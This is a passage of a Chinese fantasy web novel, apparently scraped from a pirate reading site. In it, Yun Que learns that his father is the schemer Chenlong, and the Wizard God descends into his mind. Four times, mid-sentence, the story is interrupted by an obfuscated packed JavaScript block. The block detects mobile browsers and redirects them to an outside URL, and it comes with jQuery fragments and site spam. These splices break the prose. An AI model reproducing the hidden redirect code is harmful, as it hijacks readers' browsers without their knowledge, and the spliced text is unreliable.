而四周的山岳力士,则用来提供巫神降临所需的巫族气息! 朱幺与欺风犬的下场,显然超出了另外两位生肖高手的预料,房三的神色变化了一下,转身化作一道白烟遁出城外,居然二话不说就逃了。 勾玉明显慢了一步。 她也想逃,但左兰山早已封住了她的退路,龙桃也将目标落在了勾玉身上。 大秦的文武两位强者,直接出手,狂风暴雨般的拳道与法术将勾玉完全笼罩。 既然破不开巫神碑,左兰山与龙桃将愤怒完全放在了勾玉身上,很快就将其身上的死气打得微弱不堪。 最后勾玉发出一声惨叫,从天灵遁出一道黑光冲上高空,逃回了大渊。 穹音的尸体随之跌落在地,再无生机。 秦皇始终没动。 赢開手握重剑,仰望着高空。 少年城上方的乌云出现了诡异的变化,形成一个圆环,不断旋转,带起了狂风。 圆环投下的阴影,笼罩在所有人的头顶。 一股邪异而古老的力量,正在云层中心汇聚。 此刻已经是清晨。 阳光被隔绝在云外,照不到少年城。 而圆环状的乌云,开始了缓缓下降。 仿佛那云层中藏着巨大的恐怖,带给人们一股末日般的压迫感。 秦皇握剑的手,越来越紧,目光越来越冷。 这位大秦帝王在汇聚着所有力量,随时准备斩出最后一剑。 赢開没有后退半步, 哪怕巫神降临这种恐怖的危机,也无法令大秦之主畏惧半分。 少年城可以不尊大秦,但是在秦皇眼里,少年城,始终是大秦的一部分。 少年们懵懂无知,可以胡闹,但是巫神这种异类,决不允许出现在大秦之地。 敢来,必杀之! 哪怕倾尽大秦之力,也要将其灭杀于此! 这便是帝王之心。 少年城四周,无数山岳力士的头顶升腾起大量巫气,朝着巫神碑不断汇聚。 古老的石碑,变得愈发森冷。 锁在石碑上的云缺只觉得元神都要被冻僵,不仅身体无法动弹,连神智也开始模糊。 在最后一丝神智 即将难以保存的时候,云缺做出了一个决定。 他耗尽全力将左手抬起了很小的幅度,张开五指,手心,正对着魏墨城。 下一刻,妖刀从云缺手掌冲出,化作一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628245|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只血色妖爪,掐住了魏墨城的脖子,将其抓到云缺面前。 “监正……一起死吧!!! 云缺狰狞着低吼,用额头撞在魏墨城的脑袋上,将其砸得头破血流。 一旦魏墨城被抓到身边,立刻被巫神碑所吸住。 魏墨城浑身黑气快速流向巫神碑,他挣扎着,尖叫着,哀嚎着,最终身体干瘪,成为一具干尸掉落地面,摔成了无数碎屑。 魏墨城开启了巫神降临的仪式,但他自己,也终于成为了祭品,与朱幺和欺风犬落了个同样的下场。 如今城内,只剩辰龙。 云缺已经失去了所有力气,眼皮渐渐催下,陷入了昏厥。 元神则回归识海空间。 这一次的云缺元神,并非本体模样,而是变成了幼年状态。 几岁大的云缺,在识海中仰起头。 识海空间的高空中,出现了与少年城上空模样相仿的圆环云层。 云缺知道那是通道。 巫神降临的最终地点,是自己的识海空间。 来自远古超品的力量,压制得云缺连元神都变得无比弱小。 幼年状态的元神,根本挡不住。 云缺跑向文殿。 发现大门推不开! 现在的弱小元神,连文殿大门都已经打不开了。 唯一的下场,只能等死。 等巫神降临在识海空间,吞噬了云缺的元神,再占据云缺的肉身,从此世间少了平天王,多了位远古超品。 强烈的不甘之意,在云缺心头暴起。 “不能坐以待毙,为何我的元神会如此弱小,一定有原因…… 云缺冷静后,快速思索起来,寻找蛛丝马迹。 很快,云缺想到了关键之处。 自己的元神并不完整。 儿时缺失的那一月记忆,令记忆长河出现断流,成为了一份缺口。 只要回忆起那段遗失的记忆,至少元神可以恢复正常! 只要打开文殿大门,云缺就有了最后一份底 牌。 巫神降临的绝非本体,而是类似元神的存在,那么对方的力量就不可能达到完整的超品程度。 而文殿,是儒圣的传承之力,正好用来封印巫神! “千年前,先生就能杀了你们,千年后,一样能杀!” 云缺咬牙低语,对身旁站着月魁道:“姐,我要找回那段遗失的记忆。” 月魁望着头顶的圆环,脸色十分苍白,道: “即便你能心境完整,恐怕也无法抗衡巫神之力,文殿或许能镇压巫神,可是巫神碑,我们毫无办法,若巫神逃回巫神碑,必将成为世间的一份邪物,没人能抗衡。” 月魁说的,云缺岂能不知。 连秦皇的天子剑都斩不动巫神碑,可见那块石碑才是巫神遗留的最强后手。 “所以我们只有一次机会!” 云缺冲向识海深处,那团令他觉得恐惧的风暴近前,直接一步踏了进去。 月魁拉住了云缺的左手,姐弟俩义无反顾的走向风暴中心。 随着不断前行,云缺发现自己的右手也被人握住。 扭头一看,是个模糊的小女孩身影,始终看不清容貌。 “云朵,你也要帮我吗。” 小女孩不会说话,用力的点了点头。 “好!我们走!” 云缺拉着两道身影,一步步接近着风暴之眼,接近着那段被遗忘在岁月中的真相。 你的朋友正在书荒,快去帮帮他吧 第623章 这便是人间 此时, 一口气逃出少年城百里之外的房家老祖,踉跄着落在地面。 这一路房三愣是没敢回头看一眼,他生怕自己也成为巫神降临的祭品,戌狗亥猪的下场,让他通体生寒。 星辰殿,是一处无情之地,不仅视天下苍生如为刍狗,连生肖高手都随时可以舍弃。 抹了把嘴角的血沫子,房三正准备继续施展遁法逃离大秦,忽然脚步一顿。 大路前方,走来一道人影。 一身白衣如雪,身后背着古朴的剑匣。 房三脸色渐冷,寒声道: “武威王……” 来人,正是大唐武威王,忆白龙。 一个人,一把剑,独行而至。 路不宽,通行两架马车倒是毫无问题,不过武威王走的路线是路的中心,直面房家老祖。 毫无避让的意思。 房三冷哼道:“区区三品归真,也敢挡路!” 二品境界的气息豁然暴起,形成风暴。 忆白龙始终没有停步,发丝在狂风中飘摆不定。 直至走到距离房家老祖还有十丈的位置,忆白龙终于停步,他将背后的剑匣立在地上,凝重而缓慢的拿出了那把古朴的长剑。 “陛下有旨,房家以商贾手段蛀空大唐财富,大逆不道,当诛。” 一句当诛出口,再无废话,长剑直接斩出,辟出了一道惊天动地的剑光,剑气如虹,耀起百丈,宛如一条白龙呼啸而起。 整条路上,完全被汹涌的剑气所填满。 当剑光过后,房家老祖直愣愣站在原地,身前是三件重宝。 重宝相继崩断碎裂,紧接着一条血线出现在房三的脸上,从额头开始直至脚下。 房三不可置信的盯着对面的那把剑,眼中充满了恐惧。 “剑……剑圣……” 扑通。 房家老祖的本体被一分为二,栽倒两侧,死于非命。 忆白龙的神色始终冷漠如初,将手里的古剑恭恭敬敬的放回剑匣,从尸体上踏过,大步朝着少年城的方向而去。 识海空间。 三道身影完全消失在风暴之眼。 云缺再一次沉进了记忆长河,来到那段被封印的记忆。 睁开眼,仍旧是浑浊的水。 无数细小的怪虫在周围游动,头顶灰蒙蒙,有涟漪不断出现。 这一次,云缺不再是自己一人。 月魁与云朵的力量,就涌动在胸膛当中。 云缺咬紧了牙关,目光中的执着之色越来越浓。 他要冲出水面! 他要看清那一次次将自己按进水底的神秘人,究竟是谁! 猛地一踏水底,云缺拼尽全力向上游向。 哗啦! 水花飞溅,云缺终于冲出水面。 如之前一样,那只难以抵抗的大手再次按了下来。 小小的云缺举起双手,死死抓住了按来的大手,竟将大手扛住了瞬间。 月魁与云朵的力量,为云缺带来了看透谜团的机会。 将心头的所有怒火化作力量,云缺终于拍开了头顶的黑手。 看清了水面上的一切。 原来那不是水,而是一个巨大的容器,犹如大缸,旁边站着名中年男子,身穿紫袍,身形有些消瘦,一头长发,容貌透着几分清秀。 当看清对面的模样,云缺直接愣怔在水面,眼中满是迷茫错愕。 这人不是魏墨城,但云缺无比熟悉。 “爹……” 云缺艰难的吐出了一个久远的字眼,脑子里一片空白。 水缸旁真正的幕后黑手,居然是自己的父亲,云长吉! “呵呵,呵呵呵呵。” 熟悉的笑声响起在耳畔,云缺看到父亲的紫袍袖口,绣着一个刺眼的字眼,辰! 儿时经常坐在屋檐下,远远望着自己的父亲身影,此刻与星辰殿辰龙的身影所融合。 云缺从未想到,将自己第二次改造为妖武者,将巫神碑封入自己左手,谋划了一次次惊天阴谋的辰龙,居然是父亲! 大手,再一次按下。 小小的云缺,再一次沉入水底。 云缺没有立刻醒来,而是始终瞪着眼睛,感受着这段遗失的岁月。 不知过了多少天,水面出现涟漪,一头奄奄一息的血狸掉进水底。 那是月魁,被炼化后的妖都公主。 平静的水底开始沸腾起来,冒起无数气泡,灼热与冰寒两种恐怖的气息笼 罩着云缺。 云缺觉得自己时而掉进了火炉,时而陷进了冰山,无尽的痛苦折磨得他生不如死。 几次云缺险些昏厥过去,又撑了过来。 心底的愤怒早已化作不甘,支撑着云缺不肯闭眼。 一天又一天。 直至一月过后,水面再次平静。 血狸,已经彻底与小小的云缺融合。 哗啦。 水面探来一只大手,将小云缺捞了出去。 云缺被父亲抱着,行走在阴森的林间。 没有任何温暖可言,父亲的怀抱,只有无尽冰寒。 “为什么……” 云缺艰难的挤出几个字,眼中的光泽即将消散。 “因为,妖血武夫,是你一生的宿命。” 云长吉的声音听不出丝毫感情,他将云缺带到了一座荒山,平淡道:“痛苦的回忆,最好的方式便是忘记,此地叫做青狐山,作为最后一名猎妖人,你将从头开始……” 云长吉抬手按在小云缺的额头,狂暴的法力奔涌而出,形成封印,封住了这一月记忆。 眼前的一切随之破裂,云缺犹如坠入万丈深渊。 呼!! 猛然惊醒,云缺发现自己仍旧在识海空间。 代表着遗失记忆的风暴,彻底消失。 封印,已经被冲开。 云缺默默坐在原地,低头不语,浑身死气沉沉,眼中有不解,有愤恨,也有迷茫。 为什么…… 父亲会如此无情…… 云缺很想痛哭一场,却哭不出来。 因为愤怒早已蒸干了泪水。 坐在识海中的云缺,仿佛一尊雕像,一块顽石,就此沉寂。 不知过了多久, 云缺身边多出了月魁的身影。 另一侧,是云朵。 两道魂体,默默的陪伴着云缺,让这块顽石不再显得那么孤单。 “我很没用,是吧……” 云缺沙哑着低语。 弃子,不都是没用的东西么。 “谁说的!” 月魁冷声喝斥:“你是平天王,是猎妖人!还是燕皇!你要是没用,天下就没有了有用之人,你不去杀妖,天下苍生如何太平! ” 一旁的云朵不会说话,她用力的握住了云缺的手,频频点头。 云缺无奈了摇了摇头,躺了下来,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650899|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹅小说的域名qiexs?(请来企 鹅小说 看最新章节 完整章节) “姐,我好累啊……我不想斩妖了,我只想睡觉,永远也不再醒来……” “给我起来!”月魁怒容满面的直踢云缺。 而云缺好像一滩烂泥,就是不起来。 并非不想起来,云缺已经失去了全部力气,心中的所有信念彻底坍塌。 被他最为重视的家人,成了无情之辈,这种结局,云缺难以接受,更不知如何面对。 “好,你不起来是吧,这副肉身我要了!”月魁气哄哄的道:“我去迎战巫神!我去骂你爹那个畜生!我去斩妖!我去跟牧青瑶生儿子!” 云缺本来已经昏昏欲睡,听到最后一句忽然来了点精神,抬起脑袋疑惑道: “你俩咋生儿子,生得出来吗?” 月魁咬牙切齿的道:“生不出来,就听她哼哼!反正我挺爱听的,你不爱听就睡个够,永远也别醒!” 云缺眨了眨眼睛,一下坐了起来。 精神了许多。 月魁撇着嘴,翻着白眼道: “怎么,不想睡觉了?梦里什么都有,你在梦里多找几个媳妇好了。” 云缺挣扎着站了起来,虽然摇摇欲坠,但目光明亮了许多。 “不睡了,要睡也得和瑶儿一起睡,自己睡多无聊,姐姐说得对,我还得生儿子呢。” 云缺再次燃起了战意,傲然道:“巫神算个屁!干它!” 清明的神智,将云缺从新拉回了本体。 重新睁开眼,身后仍旧是森冷的石碑,眼前,站着辰龙。 云缺虽然无法动弹,但有了说话的力量。 “云!长!吉!” 云缺怒视着面前的辰龙,发出野兽般的怒吼。 哗啦啦,铁锁被撼动。 辰龙静静的站在原地,缓缓摘下了兜帽。 现出了真正的容貌。 封印的记忆没有错,云缺眼前的,正是本该战死在妖都的父亲,斩妖司的刀神,云长吉! 云缺愤怒得无以复加,死死盯着对方道: “我始终以为,你是最委屈最可怜最窝囊的,原来你是最狠毒最阴险最 无情的!这盘大棋,你下得真狠心啊!连我们母子都是你这混蛋的棋子!” 云长吉的脸上看不出丝毫怒容,平静如常,道: “佛门有言,无情慈悲,云缺,你根本不懂,这世上只有无情才是真正的慈悲,修者无情,踏上修行路,便无需七情六欲,所有一切均可为棋子。” “从一开始,你便是为父这盘棋的重要一环,我耗费多年才创造出三魂同身之体,打造出无尽识海,如此方可迎接巫神降临。” “只要巫神降临在你身上,夺取了你的识海空间与肉身,我便可靠着父子血脉之力将其压制,慢慢炼化,借巫神之力踏进一品。” 云长吉笑了起来。 “多好的一盘棋啊,代价如此之小,仅仅是耗费了一个儿子罢了。” 云长吉的声音,听得云缺心头冰冷。 云缺想起了墨老曾经说的话。 在冲进一品的契机面前,世上任何情感都是多余的东西,完全可以舍弃,即便是父子之间也可刀剑相对! 云缺无奈的笑了起来,自语道: “你为了一品的契机,可以舍弃妻儿,真不错!这便是人间,比地府还要冷酷的人间!” 第624章 老祖命我来送剑 云缺的愤怒几乎要烧毁神智。 但他知道现在自己无能为力唯一的机会是在巫神降临识海空间的那一瞬间。 父子相见没有任何喜悦可言而是冷冰冰的无情无义。 这段父子间的对话听到的只有一个外人。 秦皇。 巫神之力已经出现石柱顶端成了禁地连左兰山与龙桃都被隔绝在外任何声音无法传出半点。 而秦皇一直站在石柱一侧没有任何离开的打算。 赢開的神色始终未变只是眼底泛起一抹伤感之意。 云缺的命运与他何其相似都是被父亲抛弃的弃子。 对于秦皇的在场云长吉毫不在意将自己真正的目的公之于众仿佛堂堂秦皇只配当做个听众。 云长吉抬起头望着越来越近的圆环云雾嘴角泛起一抹笑意。 “天下没有真正意义上的一品即便大秦皇帝也需要借助外力来施展一品之力云缺你可知一品境界的名字叫什么。” 云缺没说话冷冷的盯着对方。 “一品称之为武圣以身为炉以神为柴以气为火精气神合一自行循环自成天地方可将力量达到世间极限。” 云长吉彷如自语般说道: “而所谓的超品只是一品强者修炼到巅峰而已唯有一品巅峰方可打破天地桎梏自成大道。” “儿啊为父告诉你一个秘密天地是枷锁唯有无情方可破之。” 云缺恶狠狠的道:“说错了天地不是枷锁你才是!” “呵呵呵呵……对于你来说为父的确是一份枷锁你如此理解也没错。”云长吉微笑道:“死心吧你是我这一生最为完美的杰作你的命运注定成为迎接巫神的器皿若还有缘也许下辈子我们还能做父子。” 云缺强压怒火冷声道: “无尽识海你到底怎么做到的我为何还会有第二把妖刀!月魁的神魂为何能住进我的识海!” 第二把妖刀 云长吉微笑道: “很简单因为月魁是你同父异母的姐姐你们拥有相同的血脉 所以才能共用同一个识海。” “同父异母……” 云缺呢喃着这几个字脑海里瞬间明悟过来道:“妖都之王的妃子被你霸占了。” 难怪月魁的血脉斑杂而月魁的生母则被妖都之王所杀按理说两头血脉精纯的血狸生出来的后代不可能出现血脉不纯这种怪事。 原来一切都是云长吉所为他用了鸠占鹊巢的手段让妖都之王的妖妃生下了自己的孩子。 而那孩子就是月魁! 云长吉微笑着摇头道: “霸占这个词用得不好应该说借用唯有相同血脉的元神才能共存于你的识海空间才能打造出真正的无尽识海。” 云缺的眼睛被血色填满那是月魁的愤怒。 可是月魁无能为力。 巫神降临的气息让她毫无抵抗的能力。 “还有一道元神!”云缺怒目而视道:“云朵又是谁!” 云长吉微笑道: “云朵名字起得不错很好听为父当初并未给她起名是我的疏忽云朵是你妹妹。” “我哪来的妹妹!娘只生了我一个!”云缺冷声道。 “其实你娘最初怀的是双胎。” 云长吉面带笑意说着冷冽的话语:“双胎不同血脉你是我的血脉 “之后我用了些手段让你在胎儿阶段将云朵吞噬如此一来你一出生便是双魂之体加上融合了月魁便成为三魂之身拥有了无尽识海。” 云长吉的解释让云缺陷入了巨大的震惊。 不仅将亲儿子当做器皿还将自己的发妻随意送人简直枉为人父!枉为人夫! 了解身世之后云缺只剩下无尽的恨意。 嫁给如此禽兽云缺替母亲而不值! 圆环状的乌云此刻距离石柱顶端仅剩百丈高度就此停了下来。 天空中一片阴暗。 一股恐怖的寒意降临少年城的地面上屋舍上瞬间出现白霜。 所有少年全部慑慑发抖被冻僵了身体。 连左兰山与龙桃都被笼罩 上一层白霜。 巫神尚未出现,便有如此恐怖的力量出现,超品强者,带着世人无法想象也无法抗衡的力量而来。 “到此结束了,云缺,瞑目吧。” 云长吉往后缓缓退开,站在了石柱边缘。 在无数双惊恐目光的注视下,云层里出现了波纹般的涟漪,一条条黑线宛如发丝般垂下,笼罩了整个巫神碑,也笼罩了云缺。 犹如一圈黑色的帘子,将云缺渐渐包裹起来。 黑线所散发的气息,远远超过了二品之力,连一旁的秦皇都只能艰难的抗衡,脚下不断出现白霜,又被气机不断融化。 呼…… 赢開忽然吐出一口白气。 这位秦皇,再一次举起了天子剑! “没用的,陛下何必白费力气,超品之力,不是你赢開能斩来的,云州不出真正的一品,便没人能阻止巫神降临。”云长吉冷笑道。 “大秦之地,不存妖邪!来之,必诛!” 秦皇没有任何犹豫,一句来之必诛之后,以此生全力斩出最后一剑! 剑光在黑夜里闪耀出一片惊天的白光,山川河流在白光里清晰可辨,那遍地牛羊与无数子民,为大秦之主带来了强大的助力。 这一剑,直直的斩在云团之上,切断了所有黑线,将云团斩出一道巨大的裂痕! 野兽般的低吼声,从云团深处传来。 那是巫神的怒吼! 秦皇的天子剑,伤到了巫神的残魂,但是却无法阻止巫神的降临。 黑线断裂之后,从云团里落下一片倾盆的黑雨! 在黑雨中,隐约能看到一张狰狞阴森的面孔缓缓出现! 乘雨而来,巫神降临! 云长吉背着手,以一种欣赏美景的表情,观望着云团中出现的恐怖之物。 这盘棋,终于走到了最后一步。 等巫神之魂完全没入云缺的身体,便可大功告成。 秦皇斩出一剑之后,气息明显转弱。 眼看着黑雨中的无神距离云缺越来越近,赢開再次挥剑! 只是这一次,天子剑没能斩出,便被黑雨中出现了一道黑光崩飞。 黑光化作一道锋利的黑剑,直接斩向秦皇的脖子。 赢開拼尽全力躲 避,仍旧被黑剑所伤,整个人被轰出了石柱,砸出千丈之外。 落地之后,直接在地面砸出了百丈深坑! 巫神的随手一击,便将大秦之主如同玩具般砸飞,如此力量,令在场的所有人彻底绝望。 龙桃急忙追进大坑,将秦皇搀扶起来。 “陛下!龙桃惊呼道。 秦皇踉跄着站稳身体,脖子上出现一道血痕,一滴鲜血落下。 左兰山也赶了过来,看到秦皇没有大碍,放心了一些,可看到秦皇流血之后,左兰山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650900|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神色顿时骤变。 自从赢開登基以来,经过的战斗无数,却从未流过一滴血。 坊间甚至有传闻,大秦皇帝为不死之躯,可以连年征战,但只要流下一滴血,就会失去战力,甚至失去生命。 坊间传闻,左兰山自然不会相信,但他此时感知到秦皇的虚弱。 比起重伤还要严重! 尤其秦皇的生机,几乎所剩无几! 仿佛秦皇流的不是一滴血,而是流尽了所有鲜血! 龙桃也察觉到皇帝的虚弱,没敢松手,始终搀扶着帝王。 一文一武两位重臣,现在彻底方寸大乱。 “走!护送陛下回天龙城!龙桃急急道。 少年城的危机,他们解决不了,如果再搭上皇帝,那就大事不妙了。 左兰山点了点头,同意龙桃的提议。 两人就要强行带着秦皇逃走。 结果赢開摆了摆手,声音虚弱的道: “还没完……不能让巫神降临,否则不仅大秦不保,云州也将不保…… 龙桃急急劝道:“顾不得那么多了!只要离开少年城,至少陛下还有一品战力,在这里我们太吃亏啊! 左兰山道:“留得青山在不怕没柴烧,请陛下回城! 秦皇摇了摇头,道: “辰龙说得没错,天下,确实没有真正的一品强者,朕能施展一品之力,并非朕自身的力量,需要在大秦之地才行,若巫神降临,将侵蚀这片大地,朕更无法与其抗衡。 龙桃急得直薅自己头发,道: “留这只能死得更快!巫神之力除非真正的一品强者才有机会抗衡,总不能这时候突然蹦出来个一品吧!要是真要一品抵 达,我当场拉泡屎!然后趁热乎自己再吃喽!” 龙桃话音未落,有脚步声从远处城门口传来。 一袭白衣的身影,居然穿过了锁城的大阵,出现在城中。 “那是……大唐武威王!”左兰山惊疑道。 龙桃差点被之前自己说的话给噎死,发现是武威王,他心里反而放松了下来。 武夫不怕战死,这要是被自己的屎给熏死,那才叫丢人丢大了,简直成了千年奇葩,估计会被传扬几千年之久。 “三品而已,忆白龙来了有什么用……咦?他怎么进来的?”龙桃疑惑道。 忆白龙走进城中后,看了眼石柱顶端即将降临的巫神,随后直接来到唐太子白誉面前。 将剑匣落地,忆白龙取出了古朴的长剑,交在白誉手里。 “老祖命我,来送剑。” 忆白龙只道出冷冰冰的一句话。 白誉原本被冻僵在原地,抓住白龙剑之后,整个人突然炸起了一股冲天的剑意! 在白誉的身后,浮现出一道老者的模糊身影。 白誉瞬间明悟,用长剑切开自己的手腕,以鲜血将剑刃涂满。 随着鲜血的灌注,老者的身影变得清晰起来,正是白家老祖,大唐剑圣白天倾! “孙儿,看好了,何为一品之力。” 剑圣的身影并不凝实,而是一道魂体,或者说是一道剑意。 白誉的眼泪瞬间落下。 他知道,自家老祖原来早已陨落,这些年自己所见的,只是老祖留在人间的一份不灭剑意而已。 如今,大唐剑圣为救自家晚辈,终于要斩出这惊天一剑! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第625章 这一生太短,没有对手 半空的云层彻底凝实,一团黑影正蠕动在云层当中,如同一滩烂泥朝着下方的石柱缓慢滑落。 那是远古超品的残魂之力,巫神遗留在人间的最后力量。 整个少年城完全被笼罩在巨大的恐怖当中,而一道剑光,仿佛破开了天地,将云层一分为二。 在剑光切开的裂痕当中,有阳光随之落下。 一条分割开整个少年城的光线,亦如黑夜里的烛光,带来了最后的希望。 大唐剑圣借太子之手,斩出了最后一道剑意。 此剑,名为不朽! 烈阳,终将驱散黑夜! 在剑光来临的那一刻,云长吉始终稳重的神态随之变了,不顾一切的在巫神碑前抗衡,却在剑圣的剑意之下身首两分,根本抵抗不住。 那是世上真正的一品之力,无惧远古大阵,无惧巫神气息的一剑! 咔咔咔!!! 石碑上传来碎裂的声响,厚重的巫神碑,在剑意之下几乎断裂。 极深的剑痕,留在了这块古老而邪异的石碑之上。 云层里传来恐怖的怒吼,那是巫神的愤怒。 落下的黑影随着云层断裂而逐渐崩塌,黑光四溢! 在场的所有人,全部被这一幕壮观的景象所震撼。 即便持剑的白誉,也被惊得呆若木鸡。 本以为今日众人必死于此,却迎来了巨大的转机! 白誉身边,老者的身影变得暗淡起来,化作点点星芒散落。 这位大唐剑圣轻叹了一声,留下人世间最后的一句低语。 “这一生太短,没遇到有趣的对手,无聊,无聊至极啊……” 曾经无敌于天下的剑圣,并未寻找到突破超品的契机,他将毕生宏愿放在寻找超品之力上面,哪怕陨落之后,仍旧留下一道剑意,只为了却遗愿。 终于,死后多年,剑圣等到了超品现世的机会。 或许大唐剑圣抵达少年城,最重要的并非救回孙辈,而是要向着超品强者,向着难以逾越的超品鸿沟,斩出最后的不甘一剑。 遗愿虽然得以完成,但大唐剑圣仍旧难以释怀。 因为他没有在最强的时候,遇到巫神这种强敌。 遗留多年的剑意,随着岁月而逐渐衰弱, 这一剑不足以击杀巫神残魂也无法真正的阻止巫神降临。 辰龙被斩石碑被毁云层里的巫神残魂遭遇重创看似少年城一方迎来了胜利的曙光。 可是那颗悬在巫神碑上方的血丹并未消散! 云层里散裂的黑影当中突然冲出一道黑光瞬间没入云缺的天灵。 这道黑光所有人亲眼目睹。 人们的心头再次如坠冰窟。 巫神并未死透! 一缕残魂冲进了云缺的识海。 等云缺再次醒来没人知道是巫神还是云缺。 城内一片寂静。 云层渐渐消散 阳光铺满了城中带着温暖。 却无法融化人们心头的冰寒之意。 血丹随之落入云缺口中。 被封在石柱上的云缺垂着头一动不动。 不知死活。 城内安静无声云缺的识海却卷起了惊涛骇浪! 一尊恐怖的虚影破空而来满头黑发獠牙如刀眼中闪烁着墨绿之光。 在虚影身旁是漆黑的风旋搅动着识海空间晃动不休。 巫神被剑圣重创丧失了大半巫力不过现如今的力量仍旧不是云缺这种四品破军能抗衡的哪怕二品也毫无还手之力。 巫神降临之后俯视着脚下的小小人族。 云缺所在之地是一片遍布着残垣断壁的废墟全是大大小小的残破石块看起来仿佛识海空间被巫神降临的力量所击碎透着一股荒凉之感。 巫神缓缓下降速度很慢巨大的眼珠里全是冷漠的不屑之意。 它对云缺的元神毫不在意哪怕云缺旁边趴伏着一头高大的血狸仍旧无法对巫神残魂造成任何威胁。 单纯的巫力就已经让月魁无法站立只能趴伏在地犹如恭迎着王者。 云缺也一样 被恐怖的力量压制着单膝跪地几乎要趴在地上只是倔强的仰着头满眼愤怒的盯着降临的巫神。 如此恐怖的一幕外人不得而见。 只有云缺才能切身感受到巫神残魂有多么强大可怕。 如果做个比较的话以秦皇加上左兰 山与龙桃,再算上之前出现在少年城的六名生肖高手,这些强者全部加在一起,也挡不住巫神的这份残魂! 这便是超品强者的恐怖之处。 哪怕被剑圣斩去了大半力量,还是可以镇压当世强者,成为无敌的存在! 别看元神之躯无法抗衡巫神,云缺的嘴可没闲着,破口大骂。 “千年的死鬼!你不在地狱里受刑,跑我识海作甚!我家不欢迎你这种鬼东西! “我警告你!老子身后有人!你现在滚回去还来得及!要不然将你镇压万载,做成巫神饼喂狗吃! “还不怕?我告诉你,我可是大晋平天王!大唐吉王,大秦驸马,大燕国君!学宫年度最佳学子! “我有铁浮屠,有大唐精锐大军,有虎贲军,有玄龙军,还有土人族大军!有学宫十二殿的好兄弟!惹我你吃不了兜着走! “别过来了!你丫的再往前一步,我可要动手了啊!我一出手天崩地裂,你也不想世界毁灭对不对。 “只要你肯滚蛋,咱们井水不犯河水,我可以在万妖国给你选个地方,让你建立巫神国,培养后代子孙。 “自己一个人当神有什么意思,你没有后代就算绝后了呀,你该想想巫族那些可爱的小巫师,小蛊虫,它们可都是你的后代啊! “行了!别过来了!大不了我给你选个躯壳,我有个好兄弟叫梅钱,天资斐然乃是人间一等一的修炼天赋,他两岁会作诗,三岁会刀法,五岁会法术,七岁就娶媳妇,到了如今已经儒、道、佛、武、巫五道同修,绝对是最合适的容器! “他身上还有个住在镜子里的老爷爷,你夺了梅钱的身体,他爷爷正好给你打牙祭,嚼起来那叫一个嘎嘣脆! “哎!哎!你这鬼东西还过来!再过来我可喊救命了啊! 云缺的胡言乱语,无法阻挡住巫神半步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660592|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨大的巫神残魂,就此落在了云缺面前,与云缺只有几步之遥。 巫神发出阴森的冷笑,看着云缺的目光宛如看一只蚂蚁。 “无尽识海……不错的躯壳。 巫神很满意这处降临的识海空间,唯有无尽识海,才能容得下它庞大的残魂之力,否则换成其他识海,不等巫神降临,识海就会提前崩塌碎裂。 巫神抬起兽爪般的大手,按在了云缺头顶。 云缺的脑袋都没有人家手掌大,好像个玩偶一般任人摆弄。 一旁的月魁发出痛苦的嘶吼,拼尽全力想要去咬巫神,反而被巫神的一声冷哼震得险些魂飞魄散,虚弱不堪。 巫神巨大的眼珠缓缓转动,落向了云缺另一侧。 随着巫神的注视,云朵小小的身影浮现了出来,紧紧抱着云缺的胳膊不断颤抖。 云缺神色惊恐的大喊: “身体给你!我的元神也给你吃!你放过我姐姐和妹妹,她们对你没有威胁!让她们走! “桀桀桀…… 巫神发出怪笑,冷漠道:“放心,你们不会死,你们三个会被制成通天之柱,作为支撑之力,永远留在这片无尽识海,有了你们,此地才能永远存在,本座,才能真正行走于世间! 巫神的冷血,令月魁与云朵惊惧万分,而云缺除了拼命叫骂,根本无力反抗。 “鬼东西你找死!老子向来有仇必报,即便成为通天柱,老子也天天骂你!有种冲我来,害我家人算什么超品!你不配超品二字! 